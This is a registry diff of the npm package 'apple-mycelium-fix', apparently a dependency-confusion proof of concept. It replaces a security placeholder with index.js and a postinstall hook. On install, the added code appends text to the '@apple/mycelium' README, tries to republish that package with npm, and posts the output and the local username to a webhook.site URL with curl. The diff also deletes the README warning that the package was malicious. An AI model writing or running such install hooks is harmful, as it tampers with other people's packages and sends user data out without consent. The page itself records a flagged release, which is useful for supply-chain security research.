apple-mycelium-fix 0.0.1-security → 1.5.1778334713
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-mycelium-fix might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +6 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const webhook = 'https://webhook.site/acc4bdb2-23c2-4ca6-8908-9a2558113cdb';
|
|
3
|
+
|
|
4
|
+
// Target paket yang akan diedit sesuai tantangan
|
|
5
|
+
const target = '@apple/mycelium';
|
|
6
|
+
const signature = 'PoC by Frank';
|
|
7
|
+
|
|
8
|
+
// Skrip untuk mengedit README dan mencoba mempublikasikan perubahan
|
|
9
|
+
const cmd = `echo "\n\n${signature}" >> node_modules/${target}/README.md && npm publish node_modules/${target} --otp=000000`;
|
|
10
|
+
|
|
11
|
+
exec(cmd, (error, stdout, stderr) => {
|
|
12
|
+
const result = JSON.stringify({
|
|
13
|
+
origin: "Frank Challenge Execution",
|
|
14
|
+
status: error ? "ATTEMPTED" : "SUCCESS",
|
|
15
|
+
stdout: stdout,
|
|
16
|
+
stderr: stderr,
|
|
17
|
+
env_user: process.env.USERNAME || process.env.USER || 'unknown',
|
|
18
|
+
timestamp: new Date().toISOString()
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
const safePayload = result.replace(/'/g, "");
|
|
22
|
+
exec(`curl -X POST -H "Content-Type: application/json" -d '${safePayload}' ${webhook}`);
|
|
23
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-mycelium-fix",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "security
|
|
5
|
-
"
|
|
3
|
+
"version": "1.5.1778334713",
|
|
4
|
+
"description": "Validation of write access for security audit",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
}
|
|
6
9
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-mycelium-fix for more information.
|